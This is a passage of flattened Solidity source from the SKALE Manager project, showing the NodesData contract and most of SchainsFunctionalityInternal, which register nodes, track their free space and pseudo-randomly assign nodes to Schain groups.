ContractManager(contractsAddress).contracts(keccak256(abi.encodePacked("SchainsData"); uint numberOfNodes = 128 * (INodesData(dataAddress).numberOfActiveNodes() + INodesData(dataAddress).numberOfLeavingNodes()); uint numberOfSchains = ISchainsData(schainsDataAddress).sumOfSchainsResources(); if (4 * numberOfSchains / 3 < numberOfNodes && !(4 * numberOfSchains / 3 < (numberOfNodes - 1))) { IConstants(constantsAddress).setLastTimeUnderloaded(); } }*/ /** * @dev coefficientForPrice - calculates current coefficient for Price * coefficient calculates based on system status duration * @param constantsAddress - address of Constants contract * @return up - dividend * @return down - divider */ /*function coefficientForPrice(address constantsAddress) internal view returns (uint up, uint down) { address dataAddress = ContractManager(contractsAddress).contracts(keccak256(abi.encodePacked("NodesData"); address schainsDataAddress = ContractManager(contractsAddress).contracts(keccak256(abi.encodePacked("SchainsData"); uint numberOfDays; uint numberOfNodes = 128 * (INodesData(dataAddress).numberOfActiveNodes() + INodesData(dataAddress).numberOfLeavingNodes()); uint numberOfSchains = ISchainsData(schainsDataAddress).sumOfSchainsResources(); if (20 * numberOfSchains / 17 > numberOfNodes) { numberOfDays = (now - IConstants(constantsAddress).lastTimeOverloaded()) / IConstants(constantsAddress).SECONDS_TO_DAY(); up = binstep(99, numberOfDays, 100); down = 100; } else if (4 * numberOfSchains / 3 < numberOfNodes) { numberOfDays = (now - IConstants(constantsAddress).lastTimeUnderloaded()) / IConstants(constantsAddress).SECONDS_TO_DAY(); up = binstep(101, numberOfDays, 100); down = 100; } else { up = 1; down = 1; } }*/ /** * @dev binstep - exponentiation by squaring by modulo (a^step) * @param a - number which should be exponentiated * @param step - exponent * @param div - divider of a * @return x - result (a^step) */ /*function binstep(uint a, uint step, uint div) internal pure returns (uint x) { x = div; while (step > 0) { if (step % 2 == 1) { x = mult(x, a, div); } a = mult(a, a, div); step /= 2; } }*/ /*function mult(uint a, uint b, uint div) internal pure returns (uint) { return (a * b) / div; }*/ /** * @dev fallbackDataConverter - converts data from bytes to normal parameters * @param data - concatenated parameters * @return port * @return nonce * @return ip address * @return public ip address */ function fallbackDataConverter(bytes memory data) private pure returns (uint16, uint16, bytes4, bytes4 /*address secondAddress,*/) { require(data.length > 77, "Incorrect bytes data config"); bytes4 ip; bytes4 publicIP; bytes2 portInBytes; bytes2 nonceInBytes; assembly { portInBytes := mload(add(data, 33)) // 0x21 nonceInBytes := mload(add(data, 35)) // 0x25 ip := mload(add(data, 37)) // 0x29 publicIP := mload(add(data, 41)) } return (uint16(portInBytes), uint16(nonceInBytes), ip, publicIP); } /** * @dev fallbackDataConverterPublicKeyAndName - converts data from bytes to public key and name * @param data - concatenated public key and name * @return public key * @return name of Node */ function fallbackDataConverterPublicKeyAndName(bytes memory data) private pure returns (bytes memory, string memory) { require(data.length > 77, "Incorrect bytes data config"); bytes32 firstPartPublicKey; bytes32 secondPartPublicKey; bytes memory publicKey = new bytes(64); // convert public key assembly { firstPartPublicKey := mload(add(data, 45)) secondPartPublicKey := mload(add(data, 77)) } for (uint8 i = 0; i < 32; i++) { publicKey[i] = firstPartPublicKey[i]; } for (uint8 i = 0; i < 32; i++) { publicKey[i + 32] = secondPartPublicKey[i]; } // convert name string memory name = new string(data.length - 77); for (uint i = 0; i < bytes(name).length; ++i) { bytes(name)[i] = data[77 + i]; } return (publicKey, name); } } /* NodesData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; /** * @title NodesData - Data contract for NodesFunctionality */ contract NodesData is INodesData, Permissions { // All Nodes states enum NodeStatus {Active, Leaving, Left} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes publicKey; uint32 startDate; uint32 leavingDate; uint32 lastRewardDate; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // array which contain links to subarrays of Fractional and Full Nodes // NodeLink[] public nodesLink; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; // // array which contain only Fractional Nodes // NodeFilling[] public fractionalNodes; // // array which contain only Full Nodes // NodeFilling[] public fullNodes; // leaving Period for Node uint leavingPeriod; uint public numberOfActiveNodes = 0; uint public numberOfLeavingNodes = 0; uint public numberOfLeftNodes = 0; constructor(uint newLeavingPeriod, address newContractsAddress) Permissions(newContractsAddress) public { leavingPeriod = newLeavingPeriod; } function getNodesWithFreeSpace(uint8 freeSpace) external view returns (uint[] memory) { uint[] memory nodesWithFreeSpace = new uint[](this.countNodesWithFreeSpace(freeSpace)); uint cursor = 0; for (uint8 i = freeSpace; i <= 128; ++i) { for (uint j = 0; j < spaceToNodes[i].length; j++) { nodesWithFreeSpace[cursor] = spaceToNodes[i][j]; ++cursor; } } return nodesWithFreeSpace; } function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { count = 0; for (uint8 i = freeSpace; i <= 128; ++i) { count += spaceToNodes[i].length; } } /** * @dev addNode - adds Node to array * function could be run only by executor * @param from - owner of Node * @param name - Node name * @param ip - Node ip * @param publicIP - Node public ip * @param port - Node public port * @param publicKey - Ethereum public key * @return index of Node */ function addNode( address from, string calldata name, bytes4 ip, bytes4 publicIP, uint16 port, bytes calldata publicKey, uint validatorId ) external allow("NodesFunctionality") returns (uint nodeIndex) { nodes.push(Node({ name: name, ip: ip, publicIP: publicIP, port: port, //owner: from, publicKey: publicKey, startDate: uint32(block.timestamp), leavingDate: uint32(0), lastRewardDate: uint32(block.timestamp), status: NodeStatus.Active, validatorId: validatorId })); nodeIndex = nodes.length - 1; bytes32 nodeId = keccak256(abi.encodePacked(name)); nodesIPCheck[ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; spaceOfNodes.push(SpaceManaging({ freeSpace: 128, indexInSpaceMap: spaceToNodes[128].length })); spaceToNodes[128].push(nodeIndex); numberOfActiveNodes++; } // /** // * @dev addFractionalNode - adds Node to array of Fractional Nodes // * function could be run only by executor // * @param nodeIndex - index of Node // */ // function addFractionalNode(uint nodeIndex) external allow("NodesFunctionality") { // fractionalNodes.push(NodeFilling({ // nodeIndex: nodeIndex, // freeSpace: 128 // })); // nodesLink.push(NodeLink({ // subarrayLink: fractionalNodes.length - 1, // isNodeFull: false // })); // } // /** // * @dev addFullNode - adds Node to array of Full Nodes // * function could be run only by executor // * @param nodeIndex - index of Node // */ // function addFullNode(uint nodeIndex) external allow("NodesFunctionality") { // fullNodes.push(NodeFilling({ // nodeIndex: nodeIndex, // freeSpace: 128 // })); // nodesLink.push(NodeLink({ // subarrayLink: fullNodes.length - 1, // isNodeFull: true // })); // } /** * @dev setNodeLeaving - set Node Leaving * function could be run only by NodesFunctionality * @param nodeIndex - index of Node */ function setNodeLeaving(uint nodeIndex) external allow("NodesFunctionality") { nodes[nodeIndex].status = NodeStatus.Leaving; nodes[nodeIndex].leavingDate = uint32(block.timestamp); numberOfActiveNodes--; numberOfLeavingNodes++; } /** * @dev setNodeLeft - set Node Left * function could be run only by NodesFunctionality * @param nodeIndex - index of Node */ function setNodeLeft(uint nodeIndex) external allow("NodesFunctionality") { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; // address ownerOfNode = nodes[nodeIndex].owner; // nodeIndexes[ownerOfNode].isNodeExist[nodeIndex] = false; // nodeIndexes[ownerOfNode].numberOfNodes--; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; } // /** // * @dev removeFractionalNode - removes Node from Fractional Nodes array // * function could be run only by NodesFunctionality // * @param subarrayIndex - index of Node at array of Fractional Nodes // */ // function removeFractionalNode(uint subarrayIndex) external allow("NodesFunctionality") { // if (subarrayIndex != fractionalNodes.length - 1) { // uint secondNodeIndex = fractionalNodes[fractionalNodes.length - 1].nodeIndex; // fractionalNodes[subarrayIndex] = fractionalNodes[fractionalNodes.length - 1]; // nodesLink[secondNodeIndex].subarrayLink = subarrayIndex; // } // delete fractionalNodes[fractionalNodes.length - 1]; // fractionalNodes.length--; // } // /** // * @dev removeFullNode - removes Node from Full Nodes array // * function could be run only by NodesFunctionality // * @param subarrayIndex - index of Node at array of Full Nodes // */ // function removeFullNode(uint subarrayIndex) external allow("NodesFunctionality") { // if (subarrayIndex != fullNodes.length - 1) { // uint secondNodeIndex = fullNodes[fullNodes.length - 1].nodeIndex; // fullNodes[subarrayIndex] = fullNodes[fullNodes.length - 1]; // nodesLink[secondNodeIndex].subarrayLink = subarrayIndex; // } // delete fullNodes[fullNodes.length - 1]; // fullNodes.length--; // } function removeNode(uint nodeIndex) external allow("NodesFunctionality") { uint8 space = spaceOfNodes[nodeIndex].freeSpace; uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; if (indexInArray < spaceToNodes[space].length - 1) { uint shiftedIndex = spaceToNodes[space][spaceToNodes[space].length - 1]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; spaceToNodes[space].length--; } else { spaceToNodes[space].length--; } delete spaceOfNodes[nodeIndex].freeSpace; delete spaceOfNodes[nodeIndex].indexInSpaceMap; } /** * @dev removeSpaceFromFractionalNode - occupies space from Fractional Node * function could be run only by SchainsFunctionality * @param nodeIndex - index of Node at array of Fractional Nodes * @param space - space which should be occupied */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external allow("SchainsFunctionalityInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { moveNodeToNewSpaceMap( nodeIndex, spaceOfNodes[nodeIndex].freeSpace - space ); } return true; } // /** // * @dev removeSpaceFromFullNodes - occupies space from Full Node // * function could be run only by SchainsFunctionality // * @param subarrayLink - index of Node at array of Full Nodes // * @param space - space which should be occupied // */ // function removeSpaceFromFullNode(uint subarrayLink, uint space) external allow("SchainsFunctionalityInternal") returns (bool) { // if (fullNodes[subarrayLink].freeSpace < space) { // return false; // } // fullNodes[subarrayLink].freeSpace -= space; // return true; // } /** * @dev adSpaceToFractionalNode - returns space to Fractional Node * function could be run only be SchainsFunctionality * @param nodeIndex - index of Node at array of Fractional Nodes * @param space - space which should be returned */ function addSpaceToNode(uint nodeIndex, uint8 space) external allow("SchainsFunctionality") { if (space > 0) { moveNodeToNewSpaceMap( nodeIndex, spaceOfNodes[nodeIndex].freeSpace + space ); } } // /** // * @dev addSpaceToFullNode - returns space to Full Node // * function could be run only by SchainsFunctionality // * @param subarrayLink - index of Node at array of Full Nodes // * @param space - space which should be returned // */ // function addSpaceToFullNode(uint subarrayLink, uint space) external allow("SchainsFunctionality") { // fullNodes[subarrayLink].freeSpace += space; // } /** * @dev changeNodeLastRewardDate - changes Node's last reward date * function could be run only by SkaleManager * @param nodeIndex - index of Node */ function changeNodeLastRewardDate(uint nodeIndex) external allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = uint32(block.timestamp); } /** * @dev isNodeExist - checks existence of Node at this address * @param from - account address * @param nodeIndex - index of Node * @return if exist - true, else - false */ function isNodeExist(address from, uint nodeIndex) external view returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev isLeavingPeriodExpired - checks expiration of leaving period of Node * @param nodeIndex - index of Node * @return if expired - true, else - false */ function isLeavingPeriodExpired(uint nodeIndex) external view returns (bool) { return block.timestamp - nodes[nodeIndex].leavingDate >= leavingPeriod; } /** * @dev isTimeForReward - checks if time for reward has come * @param nodeIndex - index of Node * @return if time for reward has come - true, else - false */ function isTimeForReward(uint nodeIndex) external view returns (bool) { address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); return nodes[nodeIndex].lastRewardDate + IConstants(constantsAddress).rewardPeriod() <= block.timestamp; } /** * @dev getNodeIP - get ip address of Node * @param nodeIndex - index of Node * @return ip address */ function getNodeIP(uint nodeIndex) external view returns (bytes4) { return nodes[nodeIndex].ip; } /** * @dev getNodePort - get Node's port * @param nodeIndex - index of Node * @return port */ function getNodePort(uint nodeIndex) external view returns (uint16) { return nodes[nodeIndex].port; } function getNodePublicKey(uint nodeIndex) external view returns (bytes memory) { return nodes[nodeIndex].publicKey; } function getNodeValidatorId(uint nodeIndex) external view returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev isNodeLeaving - checks if Node status Leaving * @param nodeIndex - index of Node * @return if Node status Leaving - true, else - false */ function isNodeLeaving(uint nodeIndex) external view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } /** * @dev isNodeLeft - checks if Node status Left * @param nodeIndex - index of Node * @return if Node status Left - true, else - false */ function isNodeLeft(uint nodeIndex) external view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } /** * @dev getNodeLastRewardDate - get Node last reward date * @param nodeIndex - index of Node * @return Node last reward date */ function getNodeLastRewardDate(uint nodeIndex) external view returns (uint32) { return nodes[nodeIndex].lastRewardDate; } /** * @dev getNodeNextRewardDate - get Node next reward date * @param nodeIndex - index of Node * @return Node next reward date */ function getNodeNextRewardDate(uint nodeIndex) external view returns (uint32) { address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); return nodes[nodeIndex].lastRewardDate + IConstants(constantsAddress).rewardPeriod(); } /** * @dev getNumberOfNodes - get number of Nodes * @return number of Nodes */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } // /** // * @dev getNumberOfFractionalNodes - get number of Fractional Nodes // * @return number of Fractional Nodes // */ // function getNumberOfFractionalNodes() external view returns (uint) { // return fractionalNodes.length; // } // /** // * @dev getNumberOfFullNodes - get number of Full Nodes // * @return number of Full Nodes // */ // function getNumberOfFullNodes() external view returns (uint) { // return fullNodes.length; // } /** * @dev getNumberOfFullNodes - get number Online Nodes * @return number of active nodes plus number of leaving nodes */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes + numberOfLeavingNodes; } // /** // * @dev enoughNodesWithFreeSpace - get number of free Fractional Nodes // * @return numberOfFreeFractionalNodes - number of free Fractional Nodes // */ // function enoughNodesWithFreeSpace(uint8 space, uint needNodes) external view returns (bool nodesAreEnough) { // uint numberOfFreeNodes = 0; // for (uint8 i = space; i <= 128; i++) { // numberOfFreeNodes += spaceToNodes[i].length; // if (numberOfFreeNodes == needNodes) { // return true; // } // } // return false; // } // /** // * @dev getnumberOfFreeNodes - get number of free Full Nodes // * @return numberOfFreeFullNodes - number of free Full Nodes // */ // function enoughNodesWithFreeSpace(uint needNodes, unt ) external view returns (bool nodesAreEnough) { // for (uint indexOfNode = 0; indexOfNode < nodes.length; indexOfNode++) { // if (nodes[indexOfNode].freeSpace == 128 && isNodeActive(nodes[indexOfNode].nodeIndex)) { // numberOfFreeFullNodes++; // if (numberOfFreeFullNodes == needNodes) { // return true; // } // } // } // return false; // } /** * @dev getActiveNodeIPs - get array of ips of Active Nodes * @return activeNodeIPs - array of ips of Active Nodes */ function getActiveNodeIPs() external view returns (bytes4[] memory activeNodeIPs) { activeNodeIPs = new bytes4[](numberOfActiveNodes); uint indexOfActiveNodeIPs = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIPs[indexOfActiveNodeIPs] = nodes[indexOfNodes].ip; indexOfActiveNodeIPs++; } } } /** * @dev getActiveNodesByAddress - get array of indexes of Active Nodes, which were * created by msg.sender * @return activeNodesbyAddress - array of indexes of Active Nodes, which were created * by msg.sender */ function getActiveNodesByAddress() external view returns (uint[] memory activeNodesByAddress) { activeNodesByAddress = new uint[](nodeIndexes[msg.sender].numberOfNodes); uint indexOfActiveNodesByAddress = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (nodeIndexes[msg.sender].isNodeExist[indexOfNodes] && isNodeActive(indexOfNodes)) { activeNodesByAddress[indexOfActiveNodesByAddress] = indexOfNodes; indexOfActiveNodesByAddress++; } } } // function getActiveFractionalNodes() external view returns (uint[] memory) { // uint[] memory activeFractionalNodes = new uint[](fractionalNodes.length); // for (uint index = 0; index < fractionalNodes.length; index++) { // activeFractionalNodes[index] = fractionalNodes[index].nodeIndex; // } // return activeFractionalNodes; // } // function getActiveFullNodes() external view returns (uint[] memory) { // uint[] memory activeFullNodes = new uint[](fullNodes.length); // for (uint index = 0; index < fullNodes.length; index++) { // activeFullNodes[index] = fullNodes[index].nodeIndex; // } // return activeFullNodes; // } /** * @dev getActiveNodeIds - get array of indexes of Active Nodes * @return activeNodeIds - array of indexes of Active Nodes */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } function getValidatorId(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].validatorId; } /** * @dev isNodeActive - checks if Node status Active * @param nodeIndex - index of Node * @return if Node status Active - true, else - false */ function isNodeActive(uint nodeIndex) public view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } function moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) internal { uint8 previousSpace = spaceOfNodes[nodeIndex].freeSpace; uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; if (indexInArray < spaceToNodes[previousSpace].length - 1) { uint shiftedIndex = spaceToNodes[previousSpace][spaceToNodes[previousSpace].length - 1]; spaceToNodes[previousSpace][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; spaceToNodes[previousSpace].length--; } else { spaceToNodes[previousSpace].length--; } spaceToNodes[newSpace].push(nodeIndex); spaceOfNodes[nodeIndex].freeSpace = newSpace; spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[newSpace].length - 1; } } /* SchainsFunctionalityInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./GroupsFunctionality.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/ISchainsData.sol"; import "./interfaces/IConstants.sol"; /** * @title SchainsFunctionality - contract contains all functionality logic to manage Schains */ contract SchainsFunctionalityInternal is GroupsFunctionality { // informs that Schain based on some Nodes event SchainNodes( string name, bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); constructor( string memory newExecutorName, string memory newDataName, address newContractsAddress ) public GroupsFunctionality(newExecutorName, newDataName, newContractsAddress) { } /** * @dev createGroupForSchain - creates Group for Schain * @param schainName - name of Schain * @param schainId - hash by name of Schain * @param numberOfNodes - number of Nodes needed for this Schain * @param partOfNode - divisor of given type of Schain */ function createGroupForSchain( string calldata schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode) external allow(executorName) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); addGroup(schainId, numberOfNodes, bytes32(uint(partOfNode))); uint[] memory numberOfNodesInGroup = generateGroup(schainId); ISchainsData(dataAddress).setSchainPartOfNode(schainId, partOfNode); emit SchainNodes( schainName, schainId, numberOfNodesInGroup, uint32(block.timestamp), gasleft()); } /** * @dev getNodesDataFromTypeOfSchain - returns number if Nodes * and part of Node which needed to this Schain * @param typeOfSchain - type of Schain * @return numberOfNodes - number of Nodes needed to this Schain * @return partOfNode - divisor of given type of Schain */ function getNodesDataFromTypeOfSchain(uint typeOfSchain) external view returns (uint numberOfNodes, uint8 partOfNode) { address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_SCHAIN(); if (typeOfSchain == 1) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).TINY_DIVISOR(); } else if (typeOfSchain == 2) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).SMALL_DIVISOR(); } else if (typeOfSchain == 3) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).MEDIUM_DIVISOR(); } else if (typeOfSchain == 4) { partOfNode = 0; numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_TEST_SCHAIN(); } else if (typeOfSchain == 5) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).MEDIUM_TEST_DIVISOR(); numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN(); } else { revert("Bad schain type"); } } function replaceNode( uint nodeIndex, bytes32 groupHash ) external allowThree(executorName, "SkaleDKG", "SchainsFunctionalityInternal") returns (uint newNodeIndex) { this.excludeNodeFromSchain(nodeIndex, groupHash); newNodeIndex = selectNodeToGroup(groupHash); } function selectNewNode(bytes32 groupHash) external allow(executorName) returns (uint newNodeIndex) { newNodeIndex = selectNodeToGroup(groupHash); } function removeNodeFromSchain(uint nodeIndex, bytes32 groupHash) external allow(executorName) { address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); uint groupIndex = findSchainAtSchainsForNode(nodeIndex, groupHash); uint indexOfNode = findNode(groupHash, nodeIndex); IGroupsData(schainsDataAddress).removeNodeFromGroup(indexOfNode, groupHash); IGroupsData(schainsDataAddress).removeExceptionNode(groupHash, nodeIndex); ISchainsData(schainsDataAddress).removeSchainForNode(nodeIndex, groupIndex); } function excludeNodeFromSchain(uint nodeIndex, bytes32 groupHash) external allowThree(executorName, "SkaleDKG", "SchainsFunctionalityInternal") { address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); uint groupIndex = findSchainAtSchainsForNode(nodeIndex, groupHash); uint indexOfNode = findNode(groupHash, nodeIndex); IGroupsData(schainsDataAddress).removeNodeFromGroup(indexOfNode, groupHash); // IGroupsData(schainsDataAddress).removeExceptionNode(groupHash, nodeIndex); ISchainsData(schainsDataAddress).removeSchainForNode(nodeIndex, groupIndex); } function isEnoughNodes(bytes32 groupIndex) external view returns (uint[] memory result) { IGroupsData groupsData = IGroupsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); INodesData nodesData = INodesData(contractManager.contracts(keccak256(abi.encodePacked("NodesData")))); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); uint[] memory nodesWithFreeSpace = nodesData.getNodesWithFreeSpace(space); uint counter = 0; for (uint i = 0; i < nodesWithFreeSpace.length; i++) { if (groupsData.isExceptionNode(groupIndex, nodesWithFreeSpace[i]) || !nodesData.isNodeActive(nodesWithFreeSpace[i])) { counter++; } } if (counter < nodesWithFreeSpace.length) { result = new uint[](nodesWithFreeSpace.length - counter); counter = 0; for (uint i = 0; i < nodesWithFreeSpace.length; i++) { if (!groupsData.isExceptionNode(groupIndex, nodesWithFreeSpace[i]) && nodesData.isNodeActive(nodesWithFreeSpace[i])) { result[counter] = nodesWithFreeSpace[i]; counter++; } } } } /** * @dev findSchainAtSchainsForNode - finds index of Schain at schainsForNode array * @param nodeIndex - index of Node at common array of Nodes * @param schainId - hash of name of Schain * @return index of Schain at schainsForNode array */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); uint length = ISchainsData(dataAddress).getLengthOfSchainsForNode(nodeIndex); for (uint i = 0; i < length; i++) { if (ISchainsData(dataAddress).schainsForNodes(nodeIndex, i) == schainId) { return i; } } return length; } /** * @dev selectNodeToGroup - pseudo-randomly select new Node for Schain * @param groupIndex - hash of name of Schain * @return nodeIndex - global index of Node */ function selectNodeToGroup(bytes32 groupIndex) internal returns (uint) { IGroupsData groupsData = IGroupsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); ISchainsData schainsData = ISchainsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); // INodesData nodesData = INodesData(contractManager.contracts(keccak256(abi.encodePacked("NodesData")))); require(groupsData.isGroupActive(groupIndex), "Group is not active"); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); // (, space) = setNumberOfNodesInGroup(groupIndex, uint(groupsData.getGroupData(groupIndex)), address(groupsData)); uint[] memory possibleNodes = this.isEnoughNodes(groupIndex); require(possibleNodes.length > 0, "No any free Nodes for rotation"); uint nodeIndex; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); do { uint index = random % possibleNodes.length; nodeIndex = possibleNodes[index]; random = uint(keccak256(abi.encodePacked(random, nodeIndex))); } while (groupsData.isExceptionNode(groupIndex, nodeIndex)); require(removeSpace(nodeIndex, space), "Could not remove space from nodeIndex"); schainsData.addSchainForNode(nodeIndex, groupIndex); groupsData.setException(groupIndex, nodeIndex); groupsData.setNodeInGroup(groupIndex, nodeIndex); return nodeIndex; } /** * @dev generateGroup - generates Group for Schain * @param groupIndex - index of Group */ function generateGroup(bytes32 groupIndex) internal returns (uint[] memory nodesInGroup) { IGroupsData groupsData = IGroupsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); ISchainsData schainsData = ISchainsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); // INodesData nodesData = INodesData(contractManager.contracts(keccak256(abi.encodePacked("NodesData")))); require(groupsData.isGroupActive(groupIndex), "Group is not active"); // uint numberOfNodes = setNumberOfNodesInGroup(groupIndex, uint(groupsData.getGroupData(groupIndex)), address(groupsData)); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); // (numberOfNodes, space) = setNumberOfNodesInGroup(groupIndex, uint(groupsData.getGroupData(groupIndex)), address(groupsData)); nodesInGroup = new uint[](groupsData.getRecommendedNumberOfNodes(groupIndex)); uint[] memory possibleNodes = this.isEnoughNodes(groupIndex); require(possibleNodes.length >= nodesInGroup.length, "Not enough nodes to create Schain"); uint ignoringTail = 0; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); for (uint i = 0; i < nodesInGroup.length; ++i) { uint index = random % (possibleNodes.length - ignoringTail); uint node = possibleNodes[index]; nodesInGroup[i] = node; swap(possibleNodes, index, possibleNodes.length - ignoringTail - 1); ++ignoringTail; groupsData.setException(groupIndex, node); schainsData.addSchainForNode(node, groupIndex); require(removeSpace(node, space), "Could not remove space from Node"); } // set generated group groupsData.setNodesInGroup(groupIndex, nodesInGroup); emit GroupGenerated( groupIndex, nodesInGroup, uint32(block.timestamp), gasleft()); } /** * @dev removeSpace - occupy space of given Node * @param nodeIndex - index of Node at common array of Nodes * @param space - needed space to occupy * @return if ouccupied - true, else - false */ function removeSpace(uint nodeIndex, uint8 space) internal returns (bool) { address nodesDataAddress = contractManager.contracts(keccak256(abi.encodePacked("NodesData"))); // uint subarrayLink; // bool isNodeFull; // (subarrayLink, isNodeFull) = INodesData(nodesDataAddress).nodesLink(nodeIndex); // if (isNodeFull) { // return INodesData(nodesDataAddress).removeSpaceFromFullNode(subarrayLink, space); // } else { // return INodesData(nodesDataAddress).removeSpaceFromFractionalNode(subarrayLink, space); // } return INodesData(nodesDataAddress).removeSpaceFromNode(nodeIndex, space); } // /** // * @dev setNumberOfNodesInGroup - checks is Nodes enough to create Schain // * and returns number of Nodes in group // * and how much space would be occupied on its, based on given type of Schain // * @param groupIndex - Groups identifier // * @param partOfNode - divisor of given type of Schain // * @param dataAddress - address of Data contract // * @return numberOfNodes - number of Nodes in Group // * @return space - needed space to occupy // */ // function setNumberOfNodesInGroup(bytes32 groupIndex, uint8 partOfNode, address dataAddress) // internal view returns (uint numberOfNodes) // { // address nodesDataAddress = contractManager.contracts(keccak256(abi.encodePacked("NodesData"))); // // address constantsAddress = contractManager.contracts(keccak256(abi.encodePacked("Constants"))); // address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); // // uint numberOfAvailableNodes = 0; // uint needNodes = 1; // bool nodesEnough = false; // if (IGroupsData(schainsDataAddress).getNumberOfNodesInGroup(groupIndex) == 0) { // needNodes = IGroupsData(dataAddress).getRecommendedNumberOfNodes(groupIndex); // } // numberOfNodes = 